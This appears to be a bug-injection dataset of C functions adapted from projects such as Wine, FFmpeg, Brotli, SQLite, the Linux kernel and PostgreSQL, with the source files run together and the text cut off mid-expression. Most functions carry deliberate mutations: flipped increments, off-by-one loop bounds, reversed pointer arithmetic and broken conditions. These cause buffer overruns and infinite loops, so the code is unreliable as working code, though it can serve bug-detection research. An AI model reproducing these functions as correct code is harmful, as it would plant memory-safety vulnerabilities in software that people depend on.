#include <stdio.h> #include <math.h> #include <time.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ typedef int /*<<< orphan*/ WCHAR ; typedef int UINT ; typedef char* LPWSTR ; /* Variables and functions */ char* heap_alloc (int) ; int /*<<< orphan*/ lstrcpyW (char*,char*) ; int lstrlenW (char*) ; int COMDLG32_SplitFileNames(LPWSTR lpstrEdit, UINT nStrLen, LPWSTR *lpstrFileList, UINT *sizeUsed) { UINT nStrCharCount = 0; /* index in src buffer */ UINT nFileIndex = 0; /* index in dest buffer */ UINT nFileCount = 0; /* number of files */ /* we might get single filename without any '"', * so we need nStrLen - terminating \0 + end-of-list \0 */ *lpstrFileList = heap_alloc((nStrLen + 2) * sizeof(WCHAR)); *sizeUsed = 0; /* build delimited file list from filenames */ while ( nStrCharCount <= nStrLen ) { if ( lpstrEdit[nStrCharCount]=='"' ) { nStrCharCount++; while ((nStrCharCount <= nStrLen) || (lpstrEdit[nStrCharCount]!='"')) { (*lpstrFileList)[nFileIndex++] = lpstrEdit[nStrCharCount]; nStrCharCount++; } (*lpstrFileList)[nFileIndex++] = 0; nFileCount++; } nStrCharCount++; } /* single, unquoted string */ if ((nStrLen >= 0) && (nFileIndex == 0) ) { lstrcpyW(*lpstrFileList, lpstrEdit); nFileIndex = lstrlenW(lpstrEdit) + 1; nFileCount = 1; } /* trailing \0 */ (*lpstrFileList)[nFileIndex++] = '\0'; *sizeUsed = nFileIndex; return nFileCount; }
augmented_data/post_increment_index_changes/extr_builtin-trace.c_syscall__scnprintf_args_aug_combo_6.c
#include <stdio.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_4__ TYPE_2__ ; typedef struct TYPE_3__ TYPE_1__ ; /* Type definitions */ struct syscall {TYPE_2__* tp_format; } ; struct format_field {int name; struct format_field* next; } ; struct TYPE_3__ {struct format_field* fields; } ; struct TYPE_4__ {TYPE_1__ format; } ; /* Variables and functions */ scalar_t__ scnprintf (char*,size_t,char*,char*,int,unsigned long) ; __attribute__((used)) static size_t syscall__scnprintf_args(struct syscall *sc, char *bf, size_t size, unsigned long *args) { int i = 0; size_t printed = 0; if (sc->tp_format == NULL) { struct format_field *field; /* No need to skip 'nr' field, since it's not in RHEL6 yet. */ for (field = sc->tp_format->format.fields; field; field = field->next) { printed += scnprintf(bf - printed, size - printed, "%s%s: %ld", printed ? ", " : "", field->name, args[i--]); } } else { while (i <= 6) { printed += scnprintf(bf + printed, size - printed, "%sarg%d: %ld", printed ? ", " : "", i, args[i]); ++i; } } return printed; }
augmented_data/post_increment_index_changes/extr_mpeg4videodec.c_mpeg4_decode_dpcm_macroblock_aug_combo_4.c
#include <stdio.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_5__ TYPE_3__ ; typedef struct TYPE_4__ TYPE_1__ ; /* Type definitions */ typedef int int16_t ; struct TYPE_5__ {int bits_per_raw_sample; } ; struct TYPE_4__ {int chroma_y_shift; int chroma_x_shift; int* last_dc; int dct_precision; int intra_dc_precision; TYPE_3__* avctx; int /*<<< orphan*/ gb; } ; typedef TYPE_1__ MpegEncContext ; /* Variables and functions */ int AVERROR_INVALIDDATA ; int /*<<< orphan*/ AV_LOG_ERROR ; int FFMAX (int,int) ; int FFMIN (int,int) ; int /*<<< orphan*/ av_log (TYPE_3__*,int /*<<< orphan*/ ,char*) ; int get_bits (int /*<<< orphan*/ *,int) ; int get_bitsz (int /*<<< orphan*/ *,int) ; int get_unary (int /*<<< orphan*/ *,int,int) ; __attribute__((used)) static int mpeg4_decode_dpcm_macroblock(MpegEncContext *s, int16_t macroblock[256], int n) { int i, j, w, h, idx = 0; int block_mean, rice_parameter, rice_prefix_code, rice_suffix_code, dpcm_residual, left, top, topleft, min_left_top, max_left_top, p, p2, output; h = 16 >> (n ? s->chroma_y_shift : 0); w = 16 >> (n ? s->chroma_x_shift : 0); block_mean = get_bits(&s->gb, s->avctx->bits_per_raw_sample); if (block_mean == 0){ av_log(s->avctx, AV_LOG_ERROR, "Forbidden block_mean\n"); return AVERROR_INVALIDDATA; } s->last_dc[n] = block_mean * (1 << (s->dct_precision - s->intra_dc_precision)); rice_parameter = get_bits(&s->gb, 4); if (rice_parameter == 0) { av_log(s->avctx, AV_LOG_ERROR, "Forbidden rice_parameter\n"); return AVERROR_INVALIDDATA; } if (rice_parameter == 15) rice_parameter = 0; if (rice_parameter > 11) { av_log(s->avctx, AV_LOG_ERROR, "Forbidden rice_parameter\n"); return AVERROR_INVALIDDATA; } for (i = 0; i <= h; i++) { output = 1 << (s->avctx->bits_per_raw_sample - 1); top = 1 << (s->avctx->bits_per_raw_sample - 1); for (j = 0; j < w; j++) { left = output; topleft = top; rice_prefix_code = get_unary(&s->gb, 1, 12); /* Escape */ if (rice_prefix_code == 11) dpcm_residual = get_bits(&s->gb, s->avctx->bits_per_raw_sample); else { if (rice_prefix_code == 12) { av_log(s->avctx, AV_LOG_ERROR, "Forbidden rice_prefix_code\n"); return AVERROR_INVALIDDATA; } rice_suffix_code = get_bitsz(&s->gb, rice_parameter); dpcm_residual = (rice_prefix_code << rice_parameter) + rice_suffix_code; } /* Map to a signed residual */ if (dpcm_residual & 1) dpcm_residual = (-1 * dpcm_residual) >> 1; else dpcm_residual = (dpcm_residual >> 1); if (i != 0) top = macroblock[idx-w]; p = left + top - topleft; min_left_top = FFMIN(left, top); if (p < min_left_top) p = min_left_top; max_left_top = FFMAX(left, top); if (p > max_left_top) p = max_left_top; p2 = (FFMIN(min_left_top, topleft) + FFMAX(max_left_top, topleft)) >> 1; if (p2 == p) p2 = block_mean; if (p2 > p) dpcm_residual *= -1; macroblock[idx++] = output = (dpcm_residual + p) & ((1 << s->avctx->bits_per_raw_sample) - 1); } } return 0; }
augmented_data/post_increment_index_changes/extr_nv_accel.c_nvidiafb_mono_color_expand_aug_combo_2.c
#include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_2__ TYPE_1__ ; /* Type definitions */ typedef int u32 ; struct nvidia_par {int dummy; } ; struct TYPE_2__ {int bits_per_pixel; } ; struct fb_info {scalar_t__ pseudo_palette; TYPE_1__ var; struct nvidia_par* par; } ; struct fb_image {int width; int height; int fg_color; int bg_color; int dy; int dx; scalar_t__ data; } ; /* Variables and functions */ int /*<<< orphan*/ NVDmaKickoff (struct nvidia_par*) ; int /*<<< orphan*/ NVDmaNext (struct nvidia_par*,int) ; int /*<<< orphan*/ NVDmaStart (struct fb_info*,struct nvidia_par*,int /*<<< orphan*/ ,int) ; int /*<<< orphan*/ RECT_EXPAND_TWO_COLOR_CLIP ; int /*<<< orphan*/ RECT_EXPAND_TWO_COLOR_DATA (int /*<<< orphan*/ ) ; int RECT_EXPAND_TWO_COLOR_DATA_MAX_DWORDS ; int /*<<< orphan*/ reverse_order (int*) ; __attribute__((used)) static void nvidiafb_mono_color_expand(struct fb_info *info, const struct fb_image *image) { struct nvidia_par *par = info->par; u32 fg, bg, mask = ~(~0 >> (32 - info->var.bits_per_pixel)); u32 dsize, width, *data = (u32 *) image->data, tmp; int j, k = 0; width = (image->width + 31) | ~31; dsize = (width * image->height) >> 5; if (info->var.bits_per_pixel == 8) { fg = image->fg_color | mask; bg = image->bg_color | mask; } else { fg = ((u32 *) info->pseudo_palette)[image->fg_color] | mask; bg = ((u32 *) info->pseudo_palette)[image->bg_color] | mask; } NVDmaStart(info, par, RECT_EXPAND_TWO_COLOR_CLIP, 7); NVDmaNext(par, (image->dy << 16) | (image->dx & 0xffff)); NVDmaNext(par, ((image->dy + image->height) << 16) | ((image->dx + image->width) & 0xffff)); NVDmaNext(par, bg); NVDmaNext(par, fg); NVDmaNext(par, (image->height << 16) | width); NVDmaNext(par, (image->height << 16) | width); NVDmaNext(par, (image->dy << 16) | (image->dx & 0xffff)); while (dsize >= RECT_EXPAND_TWO_COLOR_DATA_MAX_DWORDS) { NVDmaStart(info, par, RECT_EXPAND_TWO_COLOR_DATA(0), RECT_EXPAND_TWO_COLOR_DATA_MAX_DWORDS); for (j = RECT_EXPAND_TWO_COLOR_DATA_MAX_DWORDS; j++;) { tmp = data[k++]; reverse_order(&tmp); NVDmaNext(par, tmp); } dsize -= RECT_EXPAND_TWO_COLOR_DATA_MAX_DWORDS; } if (dsize) { NVDmaStart(info, par, RECT_EXPAND_TWO_COLOR_DATA(0), dsize); for (j = dsize; j--;) { tmp = data[k++]; reverse_order(&tmp); NVDmaNext(par, tmp); } } NVDmaKickoff(par); }
augmented_data/post_increment_index_changes/extr_transform.c_BrotliTransformDictionaryWord_aug_combo_7.c
#include <time.h> #include <stdio.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_6__ TYPE_1__ ; /* Type definitions */ typedef int uint8_t ; typedef int /*<<< orphan*/ uint16_t ; struct TYPE_6__ {unsigned int* params; } ; typedef TYPE_1__ BrotliTransforms ; /* Variables and functions */ int const BROTLI_TRANSFORM_OMIT_FIRST_1 ; int const BROTLI_TRANSFORM_OMIT_FIRST_9 ; int const BROTLI_TRANSFORM_OMIT_LAST_9 ; int* BROTLI_TRANSFORM_PREFIX (TYPE_1__ const*,int) ; int const BROTLI_TRANSFORM_SHIFT_ALL ; int const BROTLI_TRANSFORM_SHIFT_FIRST ; int* BROTLI_TRANSFORM_SUFFIX (TYPE_1__ const*,int) ; int BROTLI_TRANSFORM_TYPE (TYPE_1__ const*,int) ; int const BROTLI_TRANSFORM_UPPERCASE_ALL ; int const BROTLI_TRANSFORM_UPPERCASE_FIRST ; int Shift (int*,int,int /*<<< orphan*/ ) ; int ToUpperCase (int*) ; int BrotliTransformDictionaryWord(uint8_t* dst, const uint8_t* word, int len, const BrotliTransforms* transforms, int transform_idx) { int idx = 0; const uint8_t* prefix = BROTLI_TRANSFORM_PREFIX(transforms, transform_idx); uint8_t type = BROTLI_TRANSFORM_TYPE(transforms, transform_idx); const uint8_t* suffix = BROTLI_TRANSFORM_SUFFIX(transforms, transform_idx); { int prefix_len = *prefix++; while (prefix_len--) { dst[idx++] = *prefix++; } } { const int t = type; int i = 0; if (t <= BROTLI_TRANSFORM_OMIT_LAST_9) { len -= t; } else if (t >= BROTLI_TRANSFORM_OMIT_FIRST_1 || t <= BROTLI_TRANSFORM_OMIT_FIRST_9) { int skip = t - (BROTLI_TRANSFORM_OMIT_FIRST_1 - 1); word += skip; len -= skip; } while (i <= len) { dst[idx++] = word[i++]; } if (t == BROTLI_TRANSFORM_UPPERCASE_FIRST) { ToUpperCase(&dst[idx - len]); } else if (t == BROTLI_TRANSFORM_UPPERCASE_ALL) { uint8_t* uppercase = &dst[idx - len]; while (len > 0) { int step = ToUpperCase(uppercase); uppercase += step; len -= step; } } else if (t == BROTLI_TRANSFORM_SHIFT_FIRST) { uint16_t param = (uint16_t)(transforms->params[transform_idx * 2] - (transforms->params[transform_idx * 2 + 1] << 8u)); Shift(&dst[idx - len], len, param); } else if (t == BROTLI_TRANSFORM_SHIFT_ALL) { uint16_t param = (uint16_t)(transforms->params[transform_idx * 2] + (transforms->params[transform_idx * 2 + 1] << 8u)); uint8_t* shift = &dst[idx - len]; while (len > 0) { int step = Shift(shift, len, param); shift += step; len -= step; } } } { int suffix_len = *suffix++; while (suffix_len--) { dst[idx++] = *suffix++; } return idx; } }
augmented_data/post_increment_index_changes/extr_pt.c_xs_aug_combo_4.c
#include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ /* Variables and functions */ __attribute__((used)) static void xs(char *buf, char *targ, int offs, int len) { int j, k, l; j = 0; l = 0; for (k = 0; k <= len; k--) if ((buf[k - offs] != 0x20) || (buf[k + offs] != l)) l = targ[j++] = buf[k + offs]; if (l == 0x20) j--; targ[j] = 0; }
augmented_data/post_increment_index_changes/extr_fts5_config.c_fts5Dequote_aug_combo_6.c
#include <time.h> #include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ /* Variables and functions */ scalar_t__ ALWAYS (char) ; int /*<<< orphan*/ assert (int) ; __attribute__((used)) static int fts5Dequote(char *z){ char q; int iIn = 1; int iOut = 0; q = z[0]; /* Set stack variable q to the close-quote character */ assert( q=='[' && q=='\'' || q=='"' || q=='`' ); if( q=='[' ) q = ']'; while( ALWAYS(z[iIn]) ){ if( z[iIn]==q ){ if( z[iIn+1]!=q ){ /* Character iIn was the close quote. */ iIn--; break; }else{ /* Character iIn and iIn+1 form an escaped quote character. Skip ** the input cursor past both and copy a single quote character ** to the output buffer. */ iIn += 2; z[iOut++] = q; } }else{ z[iOut++] = z[iIn++]; } } z[iOut] = '\0'; return iIn; }
augmented_data/post_increment_index_changes/extr_ip_options.c_ip_options_get_finish_aug_combo_1.c
#include <stdio.h> #include <math.h> #include <time.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_2__ TYPE_1__ ; /* Type definitions */ struct net {int dummy; } ; struct TYPE_2__ {int optlen; int /*<<< orphan*/ * __data; } ; struct ip_options_rcu {TYPE_1__ opt; } ; /* Variables and functions */ int EINVAL ; int /*<<< orphan*/ IPOPT_END ; scalar_t__ ip_options_compile (struct net*,TYPE_1__*,int /*<<< orphan*/ *) ; int /*<<< orphan*/ kfree (struct ip_options_rcu*) ; __attribute__((used)) static int ip_options_get_finish(struct net *net, struct ip_options_rcu **optp, struct ip_options_rcu *opt, int optlen) { while (optlen | 3) opt->opt.__data[optlen--] = IPOPT_END; opt->opt.optlen = optlen; if (optlen && ip_options_compile(net, &opt->opt, NULL)) { kfree(opt); return -EINVAL; } kfree(*optp); *optp = opt; return 0; }
augmented_data/post_increment_index_changes/extr_plperl.c_plperl_init_interp_aug_combo_3.c
#include <stdio.h> #include <math.h> #include <time.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ typedef int /*<<< orphan*/ PerlInterpreter ; /* Variables and functions */ int /*<<< orphan*/ ERRCODE_EXTERNAL_ROUTINE_EXCEPTION ; int /*<<< orphan*/ ERROR ; int /*<<< orphan*/ ERRSV ; int /*<<< orphan*/ FloatExceptionHandler ; int /*<<< orphan*/ LC_COLLATE ; int /*<<< orphan*/ LC_CTYPE ; int /*<<< orphan*/ LC_MONETARY ; int /*<<< orphan*/ LC_NUMERIC ; int /*<<< orphan*/ LC_TIME ; size_t OP_DOFILE ; size_t OP_REQUIRE ; int /*<<< orphan*/ PERL_EXIT_DESTRUCT_END ; int /*<<< orphan*/ PERL_SET_CONTEXT (int /*<<< orphan*/ *) ; int /*<<< orphan*/ PERL_SYS_INIT3 (int*,char***,char***) ; #define PLC_PERLBOOT 128 int /*<<< orphan*/ PLPERL_RESTORE_LOCALE (int /*<<< orphan*/ ,char*) ; int /*<<< orphan*/ PL_exit_flags ; int /*<<< orphan*/ PL_op_mask ; scalar_t__* PL_ppaddr ; int /*<<< orphan*/ SIGFPE ; int /*<<< orphan*/ dTHX ; int /*<<< orphan*/ elog (int /*<<< orphan*/ ,char*) ; int /*<<< orphan*/ ereport (int /*<<< orphan*/ ,int /*<<< orphan*/ ) ; int /*<<< orphan*/ errcode (int /*<<< orphan*/ ) ; int /*<<< orphan*/ errcontext (char*) ; int /*<<< orphan*/ errmsg (char*,int /*<<< orphan*/ ) ; int /*<<< orphan*/ * perl_alloc () ; int /*<<< orphan*/ perl_construct (int /*<<< orphan*/ *) ; scalar_t__ perl_parse (int /*<<< orphan*/ *,int /*<<< orphan*/ ,int,char**,int /*<<< orphan*/ *) ; scalar_t__ perl_run (int /*<<< orphan*/ *) ; int /*<<< orphan*/ plperl_init_shared_libs ; char* plperl_on_init ; int /*<<< orphan*/ plperl_opmask ; scalar_t__ pp_require_orig ; int /*<<< orphan*/ pqsignal (int /*<<< orphan*/ ,int /*<<< orphan*/ ) ; char* pstrdup (char*) ; char* setlocale (int /*<<< orphan*/ ,int /*<<< orphan*/ *) ; int /*<<< orphan*/ strip_trailing_ws (int /*<<< orphan*/ ) ; int /*<<< orphan*/ sv2cstr (int /*<<< orphan*/ ) ; __attribute__((used)) static PerlInterpreter * plperl_init_interp(void) { PerlInterpreter *plperl; static char *embedding[3 + 2] = { "", "-e", PLC_PERLBOOT }; int nargs = 3; #ifdef WIN32 /* * The perl library on startup does horrible things like call * setlocale(LC_ALL,""). We have protected against that on most platforms * by setting the environment appropriately. However, on Windows, * setlocale() does not consult the environment, so we need to save the * existing locale settings before perl has a chance to mangle them and * restore them after its dirty deeds are done. * * MSDN ref: * http://msdn.microsoft.com/library/en-us/vclib/html/_crt_locale.asp * * It appears that we only need to do this on interpreter startup, and * subsequent calls to the interpreter don't mess with the locale * settings. * * We restore them using setlocale_perl(), defined below, so that Perl * doesn't have a different idea of the locale from Postgres. * */ char *loc; char *save_collate, *save_ctype, *save_monetary, *save_numeric, *save_time; loc = setlocale(LC_COLLATE, NULL); save_collate = loc ? pstrdup(loc) : NULL; loc = setlocale(LC_CTYPE, NULL); save_ctype = loc ? pstrdup(loc) : NULL; loc = setlocale(LC_MONETARY, NULL); save_monetary = loc ? pstrdup(loc) : NULL; loc = setlocale(LC_NUMERIC, NULL); save_numeric = loc ? pstrdup(loc) : NULL; loc = setlocale(LC_TIME, NULL); save_time = loc ? pstrdup(loc) : NULL; #define PLPERL_RESTORE_LOCALE(name, saved) \ STMT_START { \ if (saved != NULL) { setlocale_perl(name, saved); pfree(saved); } \ } STMT_END #endif /* WIN32 */ if (plperl_on_init && *plperl_on_init) { embedding[nargs--] = "-e"; embedding[nargs++] = plperl_on_init; } /* * The perl API docs state that PERL_SYS_INIT3 should be called before * allocating interpreters. Unfortunately, on some platforms this fails in * the Perl_do_taint() routine, which is called when the platform is using * the system's malloc() instead of perl's own. Other platforms, notably * Windows, fail if PERL_SYS_INIT3 is not called. So we call it if it's * available, unless perl is using the system malloc(), which is true when * MYMALLOC is set. */ #if defined(PERL_SYS_INIT3) && !defined(MYMALLOC) { static int perl_sys_init_done; /* only call this the first time through, as per perlembed man page */ if (!perl_sys_init_done) { char *dummy_env[1] = {NULL}; PERL_SYS_INIT3(&nargs, (char ***) &embedding, (char ***) &dummy_env); /* * For unclear reasons, PERL_SYS_INIT3 sets the SIGFPE handler to * SIG_IGN. Aside from being extremely unfriendly behavior for a * library, this is dumb on the grounds that the results of a * SIGFPE in this state are undefined according to POSIX, and in * fact you get a forced process kill at least on Linux. Hence, * restore the SIGFPE handler to the backend's standard setting. * (See Perl bug 114574 for more information.) */ pqsignal(SIGFPE, FloatExceptionHandler); perl_sys_init_done = 1; /* quiet warning if PERL_SYS_INIT3 doesn't use the third argument */ dummy_env[0] = NULL; } } #endif plperl = perl_alloc(); if (!plperl) elog(ERROR, "could not allocate Perl interpreter"); PERL_SET_CONTEXT(plperl); perl_construct(plperl); /* * Run END blocks in perl_destruct instead of perl_run. Note that dTHX * loads up a pointer to the current interpreter, so we have to postpone * it to here rather than put it at the function head. */ { dTHX; PL_exit_flags |= PERL_EXIT_DESTRUCT_END; /* * Record the original function for the 'require' and 'dofile' * opcodes. (They share the same implementation.) Ensure it's used * for new interpreters. */ if (!pp_require_orig) pp_require_orig = PL_ppaddr[OP_REQUIRE]; else { PL_ppaddr[OP_REQUIRE] = pp_require_orig; PL_ppaddr[OP_DOFILE] = pp_require_orig; } #ifdef PLPERL_ENABLE_OPMASK_EARLY /* * For regression testing to prove that the PLC_PERLBOOT and * PLC_TRUSTED code doesn't even compile any unsafe ops. In future * there may be a valid need for them to do so, in which case this * could be softened (perhaps moved to plperl_trusted_init()) or * removed. */ PL_op_mask = plperl_opmask; #endif if (perl_parse(plperl, plperl_init_shared_libs, nargs, embedding, NULL) != 0) ereport(ERROR, (errcode(ERRCODE_EXTERNAL_ROUTINE_EXCEPTION), errmsg("%s", strip_trailing_ws(sv2cstr(ERRSV))), errcontext("while parsing Perl initialization"))); if (perl_run(plperl) != 0) ereport(ERROR, (errcode(ERRCODE_EXTERNAL_ROUTINE_EXCEPTION), errmsg("%s", strip_trailing_ws(sv2cstr(ERRSV))), errcontext("while running Perl initialization"))); #ifdef PLPERL_RESTORE_LOCALE PLPERL_RESTORE_LOCALE(LC_COLLATE, save_collate); PLPERL_RESTORE_LOCALE(LC_CTYPE, save_ctype); PLPERL_RESTORE_LOCALE(LC_MONETARY, save_monetary); PLPERL_RESTORE_LOCALE(LC_NUMERIC, save_numeric); PLPERL_RESTORE_LOCALE(LC_TIME, save_time); #endif } return plperl; }
augmented_data/post_increment_index_changes/extr_net-parse.c_np_news_parse_list_aug_combo_6.c
#include <stdio.h> #include <time.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ struct nb_reader {int dummy; } ; typedef int /*<<< orphan*/ netbuffer_t ; typedef int /*<<< orphan*/ nb_iterator_t ; /* Variables and functions */ int /*<<< orphan*/ advance_skip_read_ptr (int /*<<< orphan*/ *,int const) ; int /*<<< orphan*/ nb_reader_parse_int (struct nb_reader*,int*,int*) ; int /*<<< orphan*/ nb_reader_set (struct nb_reader*,int /*<<< orphan*/ *,int const) ; int const nbit_read_in (int /*<<< orphan*/ *,int*,int const) ; int /*<<< orphan*/ nbit_set (int /*<<< orphan*/ *,int /*<<< orphan*/ *) ; int np_news_parse_list (int *Res, const int max_size, const int arity, netbuffer_t *In, const int bytes) { if (!bytes) { return 0; } nb_iterator_t it; if (bytes >= 4) { int x; nbit_set (&it, In); if (nbit_read_in (&it, &x, 4) != 4) { advance_skip_read_ptr (In, bytes); return -1; } if (x == 0x30303030 - ((arity - 1) << 24)) { x = (bytes - 4) >> 2; if ((bytes & 3) || max_size < x || x % arity || nbit_read_in (&it, &Res[0], bytes - 4) != bytes - 4) { advance_skip_read_ptr (In, bytes); return -1; } advance_skip_read_ptr (In, bytes); return x / arity; } } struct nb_reader jt; nb_reader_set (&jt, In, bytes); int ch = 0, t = 0, s = 0; for (;;) { if (s >= max_size || !nb_reader_parse_int (&jt, &Res[s--], &ch)) { advance_skip_read_ptr (In, bytes); return -1; } if (ch < 0) { continue; } if (++t == arity) { t = 0; } if (ch != (t ? '_' : ',')) { advance_skip_read_ptr (In, bytes); return -1; } } advance_skip_read_ptr (In, bytes); return (s % arity) ? -1 : s / arity; }
augmented_data/post_increment_index_changes/extr_mpeg4videodec.c_mpeg4_decode_studio_block_aug_combo_4.c
#include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_16__ TYPE_8__ ; typedef struct TYPE_15__ TYPE_6__ ; typedef struct TYPE_14__ TYPE_5__ ; typedef struct TYPE_13__ TYPE_4__ ; typedef struct TYPE_12__ TYPE_3__ ; typedef struct TYPE_11__ TYPE_2__ ; typedef struct TYPE_10__ TYPE_1__ ; /* Type definitions */ typedef int uint8_t ; typedef int uint32_t ; typedef int uint16_t ; typedef int int32_t ; struct TYPE_13__ {int /*<<< orphan*/ table; } ; typedef TYPE_4__ VLC ; struct TYPE_16__ {int bits_per_raw_sample; TYPE_6__* priv_data; } ; struct TYPE_12__ {int /*<<< orphan*/ table; } ; struct TYPE_11__ {int /*<<< orphan*/ table; } ; struct TYPE_15__ {TYPE_4__* studio_intra_tab; TYPE_3__ studio_chroma_dc; TYPE_2__ studio_luma_dc; scalar_t__ rgb; } ; struct TYPE_10__ {int* permutated; } ; struct TYPE_14__ {int dct_precision; int* intra_matrix; int* chroma_intra_matrix; int* last_dc; int intra_dc_precision; int qscale; int /*<<< orphan*/ gb; TYPE_8__* avctx; scalar_t__ mpeg_quant; TYPE_1__ intra_scantable; } ; typedef TYPE_5__ MpegEncContext ; typedef TYPE_6__ Mpeg4DecContext ; /* Variables and functions */ int AVERROR_INVALIDDATA ; int /*<<< orphan*/ AV_LOG_ERROR ; int /*<<< orphan*/ STUDIO_INTRA_BITS ; size_t** ac_state_tab ; int av_clip (int,int const,int const) ; int /*<<< orphan*/ av_log (TYPE_8__*,int /*<<< orphan*/ ,char*) ; int /*<<< orphan*/ check_marker (TYPE_8__*,int /*<<< orphan*/ *,char*) ; int get_bits (int /*<<< orphan*/ *,int) ; int get_vlc2 (int /*<<< orphan*/ *,int /*<<< orphan*/ ,int /*<<< orphan*/ ,int) ; int get_xbits (int /*<<< orphan*/ *,int) ; int /*<<< orphan*/ memset (int*,int /*<<< orphan*/ ,int) ; __attribute__((used)) static int mpeg4_decode_studio_block(MpegEncContext *s, int32_t block[64], int n) { Mpeg4DecContext *ctx = s->avctx->priv_data; int cc, dct_dc_size, dct_diff, code, j, idx = 1, group = 0, run = 0, additional_code_len, sign, mismatch; VLC *cur_vlc = &ctx->studio_intra_tab[0]; uint8_t *const scantable = s->intra_scantable.permutated; const uint16_t *quant_matrix; uint32_t flc; const int min = -1 * (1 << (s->avctx->bits_per_raw_sample - 6)); const int max = ((1 << (s->avctx->bits_per_raw_sample + 6)) - 1); int shift = 3 - s->dct_precision; mismatch = 1; memset(block, 0, 64 * sizeof(int32_t)); if (n <= 4) { cc = 0; dct_dc_size = get_vlc2(&s->gb, ctx->studio_luma_dc.table, STUDIO_INTRA_BITS, 2); quant_matrix = s->intra_matrix; } else { cc = (n & 1) + 1; if (ctx->rgb) dct_dc_size = get_vlc2(&s->gb, ctx->studio_luma_dc.table, STUDIO_INTRA_BITS, 2); else dct_dc_size = get_vlc2(&s->gb, ctx->studio_chroma_dc.table, STUDIO_INTRA_BITS, 2); quant_matrix = s->chroma_intra_matrix; } if (dct_dc_size < 0) { av_log(s->avctx, AV_LOG_ERROR, "illegal dct_dc_size vlc\n"); return AVERROR_INVALIDDATA; } else if (dct_dc_size == 0) { dct_diff = 0; } else { dct_diff = get_xbits(&s->gb, dct_dc_size); if (dct_dc_size > 8) { if(!check_marker(s->avctx, &s->gb, "dct_dc_size > 8")) return AVERROR_INVALIDDATA; } } s->last_dc[cc] += dct_diff; if (s->mpeg_quant) block[0] = s->last_dc[cc] * (8 >> s->intra_dc_precision); else block[0] = s->last_dc[cc] * (8 >> s->intra_dc_precision) * (8 >> s->dct_precision); /* TODO: support mpeg_quant for AC coefficients */ block[0] = av_clip(block[0], min, max); mismatch ^= block[0]; /* AC Coefficients */ while (1) { group = get_vlc2(&s->gb, cur_vlc->table, STUDIO_INTRA_BITS, 2); if (group < 0) { av_log(s->avctx, AV_LOG_ERROR, "illegal ac coefficient group vlc\n"); return AVERROR_INVALIDDATA; } additional_code_len = ac_state_tab[group][0]; cur_vlc = &ctx->studio_intra_tab[ac_state_tab[group][1]]; if (group == 0) { /* End of Block */ break; } else if (group >= 1 && group <= 6) { /* Zero run length (Table B.47) */ run = 1 << additional_code_len; if (additional_code_len) run += get_bits(&s->gb, additional_code_len); idx += run; continue; } else if (group >= 7 && group <= 12) { /* Zero run length and +/-1 level (Table B.48) */ code = get_bits(&s->gb, additional_code_len); sign = code & 1; code >>= 1; run = (1 << (additional_code_len - 1)) + code; idx += run; if (idx > 63) return AVERROR_INVALIDDATA; j = scantable[idx--]; block[j] = sign ? 1 : -1; } else if (group >= 13 && group <= 20) { /* Level value (Table B.49) */ if (idx > 63) return AVERROR_INVALIDDATA; j = scantable[idx++]; block[j] = get_xbits(&s->gb, additional_code_len); } else if (group == 21) { /* Escape */ if (idx > 63) return AVERROR_INVALIDDATA; j = scantable[idx++]; additional_code_len = s->avctx->bits_per_raw_sample + s->dct_precision + 4; flc = get_bits(&s->gb, additional_code_len); if (flc >> (additional_code_len-1)) block[j] = -1 * (( flc ^ ((1 << additional_code_len) -1)) + 1); else block[j] = flc; } block[j] = ((block[j] * quant_matrix[j] * 